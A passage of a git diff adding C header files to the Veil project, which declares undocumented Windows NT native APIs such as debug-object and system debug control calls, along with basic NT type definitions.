BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, * PSYSDBG_TRIAGE_DUMP; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS +{ + struct + { + ULONG UseDumpStorageStack : 1; + ULONG CompressMemoryPagesData : 1; + ULONG IncludeUserSpaceMemoryPages : 1; + ULONG AbortIfMemoryPressure : 1; // REDSTONE4 + ULONG Reserved : 28; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_FLAGS, * PSYSDBG_LIVEDUMP_CONTROL_FLAGS; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES +{ + struct + { + ULONG HypervisorPages : 1; + ULONG Reserved : 31; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, * PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES; + +#define SYSDBG_LIVEDUMP_CONTROL_VERSION 1 + +// private +typedef struct _SYSDBG_LIVEDUMP_CONTROL +{ + ULONG Version; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + HANDLE DumpFileHandle; + HANDLE CancelEventHandle; + SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags; + SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl; +} SYSDBG_LIVEDUMP_CONTROL, * PSYSDBG_LIVEDUMP_CONTROL; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Hard errors +// + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000 + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response +); + +// +// Exception +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRaiseException( + _In_ PEXCEPTION_RECORD ExceptionRecord, + _In_ PCONTEXT ContextRecord, + _In_ BOOLEAN FirstChance +); + +// +// Debug Filter +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDebugFilterState( + _In_ ULONG ComponentId, + _In_ ULONG Level, + _In_ BOOLEAN State +); + +// +// Debug Object +// + +typedef struct _DBGKM_EXCEPTION +{ + EXCEPTION_RECORD ExceptionRecord; + ULONG FirstChance; +} DBGKM_EXCEPTION, * PDBGKM_EXCEPTION; + +typedef struct _DBGKM_CREATE_THREAD +{ + ULONG SubSystemKey; + PVOID StartAddress; +} DBGKM_CREATE_THREAD, * PDBGKM_CREATE_THREAD; + +typedef struct _DBGKM_CREATE_PROCESS +{ + ULONG SubSystemKey; + HANDLE FileHandle; + PVOID BaseOfImage; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + DBGKM_CREATE_THREAD InitialThread; +} DBGKM_CREATE_PROCESS, * PDBGKM_CREATE_PROCESS; + +typedef struct _DBGKM_EXIT_THREAD +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_THREAD, * PDBGKM_EXIT_THREAD; + +typedef struct _DBGKM_EXIT_PROCESS +{ + NTSTATUS ExitStatus; +} DBGKM_EXIT_PROCESS, * PDBGKM_EXIT_PROCESS; + +typedef struct _DBGKM_LOAD_DLL +{ + HANDLE FileHandle; + PVOID BaseOfDll; + ULONG DebugInfoFileOffset; + ULONG DebugInfoSize; + PVOID NamePointer; +} DBGKM_LOAD_DLL, * PDBGKM_LOAD_DLL; + +typedef struct _DBGKM_UNLOAD_DLL +{ + PVOID BaseAddress; +} DBGKM_UNLOAD_DLL, * PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, * PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, * PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, * PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, * PDBGUI_WAIT_STATE_CHANGE; + +#define DEBUG_READ_EVENT 0x0001 +#define DEBUG_PROCESS_ASSIGN 0x0002 +#define DEBUG_SET_INFORMATION 0x0004 +#define DEBUG_QUERY_INFORMATION 0x0008 +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \ + DEBUG_QUERY_INFORMATION) + +#define DEBUG_KILL_ON_CLOSE 0x1 + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectUnusedInformation, + DebugObjectKillProcessOnExitInformation, // s: ULONG + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, * PDEBUGOBJECTINFOCLASS; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_opt_ PULONG ReturnLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange +); + +// +// Debugging UI +// + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID +); + +NTSYSAPI +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID +); + +NTSYSAPI +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiWaitStateChange( + _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _In_opt_ PLARGE_INTEGER Timeout +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process +); + +NTSYSAPI +VOID +NTAPI +DbgUiRemoteBreakin( + _In_ PVOID Context +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + _In_ HANDLE Process +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructure( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ LPDEBUG_EVENT DebugEvent +); + +NTSYSAPI +NTSTATUS +NTAPI +DbgUiConvertStateChangeStructureEx( + _In_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _Out_ LPDEBUG_EVENT DebugEvent +); +#endif // !_KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Define.h b/include/Veil/Veil/Veil.System.Define.h new file mode 100644 index 0000000..96e19bb --- /dev/null +++ b/include/Veil/Veil/Veil.System.Define.h @@ -0,0 +1,791 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// These macros are used to test, set and clear flags respectivly +// + +#ifndef FlagOn +#define FlagOn(_F,_SF) ((_F) & (_SF)) +#endif + +#ifndef BooleanFlagOn +#define BooleanFlagOn(F,SF) ((BOOLEAN)(((F) & (SF)) != 0)) +#endif + +#ifndef SetFlag +#define SetFlag(_F,_SF) ((_F) |= (_SF)) +#endif + +#ifndef ClearFlag +#define ClearFlag(_F,_SF) ((_F) &= ~(_SF)) +#endif + +// +// Handy macros for doing pointer arithmetic +// + +#ifndef Add2Ptr +#define Add2Ptr(P,I) ((PVOID)((PUCHAR)(P) + (I))) +#endif + +#ifndef PtrOffset +#define PtrOffset(B,O) ((ULONG)((ULONG_PTR)(O) - (ULONG_PTR)(B))) +#endif + +// +// This macro takes a length & rounds it up to a multiple of the alignment +// Alignment is given as a power of 2 +// + +#ifndef ROUND_TO_SIZE +#define ROUND_TO_SIZE(_length, _alignment) \ + ((((ULONG_PTR)(_length)) + ((_alignment)-1)) & ~(ULONG_PTR) ((_alignment) - 1)) +#endif + +// +// Checks if 1st argument is aligned on given power of 2 boundary specified +// by 2nd argument +// + +#ifndef IS_ALIGNED +#define IS_ALIGNED(_pointer, _alignment) \ + ((((ULONG_PTR) (_pointer)) & ((_alignment) - 1)) == 0) +#endif + +#ifndef _KERNEL_MODE +typedef struct _PEB* PPEB; // ntddk.h +typedef LONG KPRIORITY; // wdm.h + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef VOID(NTAPI* PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); +#else +typedef int BOOL; +#endif // !_KERNEL_MODE + +typedef USHORT RTL_ATOM, * PRTL_ATOM; + +#ifndef _NTDEF_ +#define _NTDEF_ + +// This header file provides basic NT types not included in Win32. If you have included winnt.h +// (perhaps indirectly), you must use this file instead of ntdef.h. + +// Functions + +#ifndef _MANAGED +#if defined(_M_IX86) +#define FASTCALL __fastcall +#else +#define FASTCALL +#endif +#else +#define FASTCALL NTAPI +#endif + +// +// Cardinal Data Types [0 - 2**N-2) +// + +// +// The type QUAD and UQUAD are intended to use when a 8 byte aligned structure +// is required, but it is not a floating point number. +// + +typedef double DOUBLE; + +typedef struct _QUAD { + union { + __int64 UseThisFieldToCopy; + double DoNotUseThisField; + } DUMMYUNIONNAME; + +} QUAD; + +typedef QUAD* PQUAD; +typedef QUAD UQUAD; +typedef UQUAD* PUQUAD; + +#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS)) + +// +// Pointer to Const Unsigned Basics +// + +typedef CONST UCHAR* PCUCHAR; +typedef CONST USHORT* PCUSHORT; +typedef CONST ULONG* PCULONG; +typedef CONST UQUAD* PCUQUAD; + +#endif // _WIN32_WINNT >= 0x0600 + +// +// Signed characters +// + +typedef signed char SCHAR; +typedef SCHAR* PSCHAR; + +#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS)) + +typedef CONST SCHAR* PCSCHAR; + +#endif // _WIN32_WINNT >= 0x0600 + +typedef GUID* PGUID; + +typedef char CCHAR; // winnt +typedef short CSHORT; +typedef ULONG CLONG; + +typedef CCHAR* PCCHAR; +typedef CSHORT* PCSHORT; +typedef CLONG* PCLONG; + +// +// Logical Data Type - These are 32-bit logical values. +// +typedef ULONG LOGICAL; +typedef ULONG* PLOGICAL; + +// +// NTSTATUS +// + +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +/*lint -save -e624 */ // Don't complain about different typedefs. +typedef NTSTATUS* PNTSTATUS; +/*lint -restore */ // Resume checking for different typedefs. + +#if _WIN32_WINNT >= 0x0600 +typedef CONST NTSTATUS* PCNTSTATUS; +#endif // _WIN32_WINNT >= 0x0600 + +// +// Status values are 32 bit values laid out as follows: +// +// 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 +// 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +// +---+-+-------------------------+-------------------------------+ +// |Sev|C| Facility | Code | +// +---+-+-------------------------+-------------------------------+ +// +// where +// +// Sev - is the severity code +// +// 00 - Success +// 01 - Informational +// 10 - Warning +// 11 - Error +// +// C - is the Customer code flag +// +// Facility - is the facility code +// +// Code - is the facility's status code +// + +// +// Generic test for success on any status value (non-negative numbers +// indicate success). +// + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) + +// +// Generic test for information on any status value. +// + +#ifdef _PREFAST_ +#define NT_INFORMATION(Status) (((NTSTATUS)(Status)) >= (long)0x40000000) +#else +#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) +#endif + +// +// Generic test for warning on any status value. +// + +#ifdef _PREFAST_ +#define NT_WARNING(Status) (((NTSTATUS)(Status) < (long)0xc0000000)) +#else +#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) +#endif + +// +// Generic test for error on any status value. +// + +#ifdef _PREFAST_ +#define NT_ERROR(Status) (((NTSTATUS)(Status)) >= (unsigned long)0xc0000000) +#else +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) +#endif + +#ifndef __SECSTATUS_DEFINED__ +typedef long SECURITY_STATUS; +#define __SECSTATUS_DEFINED__ +#endif + +// +// Large (64-bit) integer types and operations +// + +#define TIME LARGE_INTEGER +#define _TIME _LARGE_INTEGER +#define PTIME PLARGE_INTEGER +#define LowTime LowPart +#define HighTime HighPart + +// +// Physical address. +// + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +// +// Event type +// +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +// +// Timer type +// + +typedef enum _TIMER_TYPE +{ + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +// +// Wait type +// + +typedef enum _WAIT_TYPE +{ + WaitAll, + WaitAny, + WaitNotification, + WaitDequeue, + WaitDpc +} WAIT_TYPE; + +// +// Pointer to an Asciiz string +// + +typedef _Null_terminated_ CHAR* PSZ; +typedef _Null_terminated_ CONST char* PCSZ; + +// +// Counted String +// + +typedef USHORT RTL_STRING_LENGTH_TYPE; + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength), length_is(Length)] +#endif // MIDL_PASS + _Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer; +} STRING; +typedef STRING* PSTRING; +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +// +// CONSTCounted String +// + +typedef struct _CSTRING { + USHORT Length; + USHORT MaximumLength; + CONST char* Buffer; +} CSTRING; +typedef CSTRING* PCSTRING; +#define ANSI_NULL ((CHAR)0) // winnt + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef STRING UTF8_STRING; +typedef PSTRING PUTF8_STRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer; +#else // MIDL_PASS + _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; +#endif // MIDL_PASS +} UNICODE_STRING; +typedef UNICODE_STRING* PUNICODE_STRING; +typedef const UNICODE_STRING* PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +#if _WIN32_WINNT >= 0x0500 + +#define DECLARE_CONST_UNICODE_STRING(_var, _string) \ +const WCHAR _var ## _buffer[] = _string; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +const UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer } \ +__pragma(warning(pop)) + +#define DECLARE_GLOBAL_CONST_UNICODE_STRING(_var, _str) \ +extern const __declspec(selectany) UNICODE_STRING _var = RTL_CONSTANT_STRING(_str) + +#define DECLARE_UNICODE_STRING_SIZE(_var, _size) \ +WCHAR _var ## _buffer[_size]; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +UNICODE_STRING _var = { 0, (_size) * sizeof(WCHAR) , _var ## _buffer } \ +__pragma(warning(pop)) + +#endif // _WIN32_WINNT >= 0x0500 + +// +// Balanced tree node (AVL or RB) structure definition. +// + +#pragma warning(push) +#pragma warning(disable:4214) + +typedef struct _RTL_BALANCED_NODE { + union { + struct _RTL_BALANCED_NODE* Children[2]; + struct { + struct _RTL_BALANCED_NODE* Left; + struct _RTL_BALANCED_NODE* Right; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3 + + union { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + } DUMMYUNIONNAME2; +} RTL_BALANCED_NODE, * PRTL_BALANCED_NODE; + +#pragma warning(pop) + +#define RTL_BALANCED_NODE_GET_PARENT_POINTER(Node) \ + ((PRTL_BALANCED_NODE)((Node)->ParentValue & \ + ~RTL_BALANCED_NODE_RESERVED_PARENT_MASK)) + +typedef struct _RTL_RB_TREE +{ + PRTL_BALANCED_NODE Root; + PRTL_BALANCED_NODE Min; +} RTL_RB_TREE, * PRTL_RB_TREE; + +typedef struct _STRING32 { + USHORT Length; + USHORT MaximumLength; + ULONG Buffer; +} STRING32; +typedef STRING32* PSTRING32; + +typedef STRING32 UNICODE_STRING32; +typedef UNICODE_STRING32* PUNICODE_STRING32; + +typedef STRING32 ANSI_STRING32; +typedef ANSI_STRING32* PANSI_STRING32; + + +typedef struct _STRING64 { + USHORT Length; + USHORT MaximumLength; + ULONGLONG Buffer; +} STRING64; +typedef STRING64* PSTRING64; + +typedef STRING64 UNICODE_STRING64; +typedef UNICODE_STRING64* PUNICODE_STRING64; + +typedef STRING64 ANSI_STRING64; +typedef ANSI_STRING64* PANSI_STRING64; + +// +// Object Attributes +// + +// Valid values for the Attributes field + +#define OBJ_PROTECT_CLOSE 0x00000001L +#define OBJ_INHERIT 0x00000002L +#define OBJ_AUDIT_OBJECT_CLOSE 0x00000004L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L +#define OBJ_DONT_REPARSE 0x00001000L +#define OBJ_VALID_ATTRIBUTES 0x00001FF2L + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; + PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes(p, n, a, r, s) { \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +// RTL_ to avoid collisions in the global namespace. +// I don't believe there are possible/likely constant RootDirectory +// or SecurityDescriptor values other than NULL, so they are hardcoded. +// As well, the string will generally be const, so we cast that away. +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \ + { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } + +// This synonym is more appropriate for initializing what isn't actually const. +#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') + +// Portability + +typedef struct _OBJECT_ATTRIBUTES64 +{ + ULONG Length; + ULONG64 RootDirectory; + ULONG64 ObjectName; + ULONG Attributes; + ULONG64 SecurityDescriptor; + ULONG64 SecurityQualityOfService; +} OBJECT_ATTRIBUTES64, * POBJECT_ATTRIBUTES64; + +typedef const OBJECT_ATTRIBUTES64* PCOBJECT_ATTRIBUTES64; + +typedef struct _OBJECT_ATTRIBUTES32 +{ + ULONG Length; + ULONG RootDirectory; + ULONG ObjectName; + ULONG Attributes; + ULONG SecurityDescriptor; + ULONG SecurityQualityOfService; +} OBJECT_ATTRIBUTES32, * POBJECT_ATTRIBUTES32; + +typedef const OBJECT_ATTRIBUTES32* PCOBJECT_ATTRIBUTES32; + +// +// This works "generically" for Unicode and Ansi/Oem strings. +// Usage: +// const static UNICODE_STRING FooU = RTL_CONSTANT_STRING(L"Foo"); +// const static STRING Foo = RTL_CONSTANT_STRING( "Foo"); +// instead of the slower: +// UNICODE_STRING FooU; +// STRING Foo; +// RtlInitUnicodeString(&FooU, L"Foo"); +// RtlInitString(&Foo , "Foo"); +// +// Or: +// const static char szFoo[] = "Foo"; +// const static STRING sFoo = RTL_CONSTANT_STRING(szFoo); +// +// This will compile without error or warning in C++. C will get a warning. +// +#ifdef __cplusplus +extern "C++" +{ + char _RTL_CONSTANT_STRING_type_check(const char* s); + char _RTL_CONSTANT_STRING_type_check(const WCHAR* s); + // __typeof would be desirable here instead of sizeof. + template class _RTL_CONSTANT_STRING_remove_const_template_class; +template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef char T; }; +template <> class _RTL_CONSTANT_STRING_remove_const_template_class { public: typedef WCHAR T; }; +#define _RTL_CONSTANT_STRING_remove_const_macro(s) \ + (const_cast<_RTL_CONSTANT_STRING_remove_const_template_class::T*>(s)) +} +#else +char _RTL_CONSTANT_STRING_type_check(const void* s); +#define _RTL_CONSTANT_STRING_remove_const_macro(s) (s) +#endif +#define RTL_CONSTANT_STRING(s) \ +{ \ + sizeof( s ) - sizeof( (s)[0] ), \ + sizeof( s ) / sizeof(_RTL_CONSTANT_STRING_type_check(s)), \ + _RTL_CONSTANT_STRING_remove_const_macro(s) \ +} + +// +// Interrupt Request Level (IRQL) +// + +typedef UCHAR KIRQL; + +typedef KIRQL* PKIRQL; + +// +// Product types +// + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, * PNT_PRODUCT_TYPE; + +// +// the bit mask, SharedUserData->SuiteMask, is a ULONG +// so there can be a maximum of 32 entries +// in this enum. +// + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, 